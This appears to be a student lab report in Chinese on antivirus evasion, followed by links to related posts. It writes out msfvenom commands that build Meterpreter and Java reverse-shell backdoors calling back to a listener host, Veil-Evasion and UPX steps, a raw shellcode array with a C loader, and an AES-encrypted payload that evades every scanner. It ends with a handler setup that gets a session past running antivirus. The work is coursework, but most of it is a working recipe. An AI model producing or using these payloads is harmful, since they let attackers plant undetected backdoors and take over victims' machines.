20191317Exp3-免杀原理与实践

基础问题回答

1.1 杀软是如何检测出恶意代码的?

基于特征码进行检测:杀毒软件的病毒库记录了一些恶意软件的特征码,一段特征码就是一段或多段数据。如果一个可执行文件包含这样的数据则被认为是恶意代码。这些特征码一般是只有该病毒内才出现的字符串,根据已检测出或网络上公布的病毒,对其提取特征码,记录在病毒6库中,检测到程序时将程序与特征码比对即可判断是否是恶意代码。

基于行为的恶意软件检测:对运行的所有进程进行实时监控,如果有敏感行为会被认为是恶意程序,比如对数组的调用,或者进程的绑定,或者服务自启动等,是一种动态的监测与捕捉。

1.2 免杀是做什么?

安插的后门软件不被杀毒软件发现。除了直接使用现有后门软件外,还有一些方式,在实际中也有用。让我们的后门在目标机器上不被杀毒软件或者其他的防护软件识别并删除。

1.3 免杀的基本方法有哪些?

  • 改变特征码

    • 如果你手里只有EXE

      • 加壳:压缩壳 加密壳
    • 使用shellcode(像Meterpreter)
      • 用encode进行编码
      • 基于payload重新编译生成可执行文件
  • 改变行为
    • 通讯方式

      • 反弹式连接
      • 加密通讯数据
    • 操作模式
      • 基于内存操作
      • 减少对系统的修改
      • 加入混淆作用的正常功能代码
  • 非常规方法
    • 使用社工类攻击,诱骗目标关闭AV软件。
    • 纯手工打造一个恶意软件

1.4 开启杀软能绝对防止电脑中恶意代码吗?

肯定不可能,实践中都已经实践过了,金山毒霸,属实拉胯。

使用msfvenom生成如jar之类的其他文件

免杀测试平台:https://www.virustotal.com/

实践内容

正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

检测直接生成的后门exe文件(实验二中的后门程序)

检出率为53/73

使用Unicode编码一次

生成代码
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -b ‘\x00’ LHOST=192.168.30.147 LPORT=1317 -f exe > 20191317backdoor1.exe

进行检测(检出率为53/68)

可以看出检出率应该是上升了

编码多次(此处采用我学号的序号17来进行编码)

  • 编码会降低检出率,理论上讲多编码几次,可降低被检测出的可能性
  • 一次编码使用命令:-e选择编码器,-b是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符
生成代码
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -i -10 -b ‘\x00’ LHOST=192.168.30.147 LPORT=1317 -f exe > 20191317backdoor2.exe
参数意思:
-e选择编码器
-b是payload中需要去除的字符:该命令中为了使'\x00'不出现在shellcode 中,因为shellcode以'\x00'为结束符
-i设置迭代次数

进行检测:检出率53/68=

利用php格式文件

生成代码
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.30.147 LPORT=1317 x> 20191317backdoor_php.php

进行检测(检出率22/56)

利用jar文件

生成代码
msfvenom -p java/shell_reverse_tcp  LHOST=192.168.30.147 LPORT=1317 -f jar > 20191317backdoor_jar.jar

进行检测(检出率38/59)

疼讯也不行了!

veil,加壳工具实践

安装工具

安装命令行
sudo apt-get install veil-evasion

安装设置

下载成功后,修改setup.sh:

cd /usr/share/veil/config
vim setup.sh

注意:先进入root模式

修改第260行的

修改成功后,veil等待安装

正常安装相关模块(一路next下去就行)

使用veil工具

veil
use evasion //进入Evil—Evasion
use c/meterpreter/rev_tcp.py //进入配置界面
set LHOST 192.168.30.147 //设置反弹链接ip,此处为Kali的ip
set LPORT 1317 //设置端口
generate

设置生成的文件(名称)

保存路径为/var/lib/veil/output/compiled/20191317veil.exe

检测文件(检出率39/68)

其实检出率还是很高,文件比较大,检查了很久。

免杀加壳尝试

加壳是对相应的资源进行压缩,压缩后仍可运行。

加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。

它可以用来保护版权,但同时许多病毒也利用它来作为原理。

加壳指令
upx 20191317veil.exe -o 20191317_veil_upx.exe

检测(检出率39/68)

基本上没有减小,看来目前杀软对于加壳的检测能力很强。

使用C + shellcode编程

使用msfvenom得到shellcode

unsigned char buf[] = "\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x89\xe5""\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff""\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49""\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01\xd0\x8b\x40\x78""\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x58\x20\x01\xd3\x8b\x48\x18""\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x31\xff\x01\xd6\x31\xc0\xc1""\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24""\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c""\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59""\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d""\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26""\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68""\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x1e\x93\x68\x02""\x00\x05\x25\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea""\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61""\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00""\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83""\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a""\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57""\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00""\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68""\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff""\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb""\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";

编辑c文件

vim 20191317shellcode2.cint main() { int (*func)() = (int(*)())buf; func(); }

编译成可执行文件

i686-w64-mingw32-g++ 20191317shellcode2.c -o 20191317shellcode2.exe

对恶意代码进行检测(检出率36/68)

通过组合应用各种技术实现恶意代码免杀

利用python+aes_encrypt

打开veil,选择Evasion

veil -t Evasion --list-payloads

选择结束之后

use python/shellcode_inject/aes_encrypt.pygenerate选择2

给出相应的参数设置端口信息等,生成文件

检测文件信息(检出率0)

这里的原理便是使用了数据加密的方式进行多次编译后门软件

附加题:用另一电脑实测,在杀软开启的情况下,可运行并回连成功

在虚拟机中,使用win7+金山毒霸,使用的后门程序是20191317_veil_upx.exe。

KALI机开启msfconsole

执行命令行,开始攻击

use exploit/multi/handerset payload windows/meterpreter/reverse_tcpset LHOST 192.168.30.147set LPORT 1317exploit

注意:这里的数据均是之前生成veil_upx.exe时候的数据,可参看上面的免杀实践:

运行后门软件

已经成功啦!

实践思考与收获

这次实验感觉确实非常有用,正好手中还有一台闲置的云服务器,试想,如果真的可以实现的话,可能我现在已经被抓进去了,但是仍然不能骄傲,因为网络攻防仍然任重而道远,即便是攻破了又能怎么样呢?怎么保证入侵不被人发现呢?这些都是还需要学习的内容。

20191317Exp3-免杀原理与实践的更多相关文章

  1. 20165223《网络对抗技术》Exp3 免杀原理与实践

    目录 -- 免杀原理与实践 免杀原理与实践 本次实验任务 基础知识问答 免杀扫描引擎 实验内容 正确使用msf编码器,msfvenom生成jar等文件,veil-evasion,加壳工具,使用shel ...

  2. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  3. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  4. 2018-2019-2 20165234 《网络对抗技术》 Exp3 免杀原理与实践

    实验三 免杀原理与实践 实验内容 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧:(1.5分) 2.通过 ...

  5. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  6. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  7. 2018-2019-2 网络对抗技术 20165314 Exp3 免杀原理与实践

    免杀原理与实践说明 一.实验说明 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧:(1.5分) 任务 ...

  8. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  9. 2018-2019-2 网络对抗技术 20165239Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165239 Exp3 免杀原理与实践 win10 ip地址 192.168.18.1 fenix ip地址为 192.168.18.128 (1)杀软是如何 ...

  10. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

随机推荐

  1. 宝塔邮局-并解决A纪录解析失败问题

    为什么一定要用这个邮局呢,只要是方便,在宝塔面板直接安装就行了. 使用教程如下: https://www.bt.cn/bbs/thread-87496-1-1.html 有一个BUG本来已经设置好了, ...

  2. Java笔记_递归回溯之小老鼠出迷宫问题

    递归回溯之小老鼠出迷宫问题 直接看代码 /** * @ClassName MiGong01 * @Description TODO * @Author Orange * @Date 2021/4/16 ...

  3. 语法——包、权限修饰符、final

    一.包 1.什么是包? 包是用来分门别类的管理各种不同的类的,类似于文件夹,建包有利于程序的管理和维护. 建包的语法格式: package 公司域名倒写.技术名称.包名建议全部英文小写,且具备意义. ...

  4. 无锡哲讯谈饲料加工行业ERP的功能

    我国饲料生产与国际先进水平很接近,也是专业化水平较高的行业.随着社会分工的进一步明确,饲料产品的专业化配送将是未来发展的方向.在一些发达国家,专业化的散装配料车已经普遍应用,我国虽然也有这种形式,但是 ...

  5. 视频直播系统源码,java 随机验证码 、10 分钟有效

    视频直播系统源码,java 随机验证码 .10 分钟有效 1.首先创建一个vo类存放我们验证码相关信息. import lombok.AllArgsConstructor;import lombok. ...

  6. jieba分词的分词模式比较

    sentence = "我来自中国人民大学" # 默认精确模式 words = jieba.cut(sentence) print("精确模式: %s" % & ...

  7. 阿里云centos7安装图形界面gnome

    这应该是很无聊很蛇精的操作吧. 首先命令行远程登陆阿里云,然后root身份更新系统,安装gnome这些操作(菜如我以前都没有操作过),参照网上虚拟机的教程. # yum update -y # yum ...

  8. 学习高速PCB设计,这些走线方式你要知道! 高速射频百花潭 2022-01-21 08:53

    1.电源布局布线相关 数字电路很多时候需要的电流是不连续的,所以对一些高速器件就会产生浪涌电流. 如果电源走线很长,则由于浪涌电流的存在进而会导致高频噪声,而此高频噪声会引入到其他信号中去. 而在高速 ...

  9. luna lunatic

    Luna是罗马神话的月神.英语中Lunacy.Lunatic等意指疯狂的字语源均来自Luna.月亮的阴晴圆缺影响地球的潮汐涨退甚至生物周期,故此古时的人们相信月亮拥有使人疯狂的魔力,人狼等传说亦是因此 ...

  10. Python 新环境常见问题

    Troubleshooting when run python script in new environment 1. Error: pluggy._manager.PluginValidation ...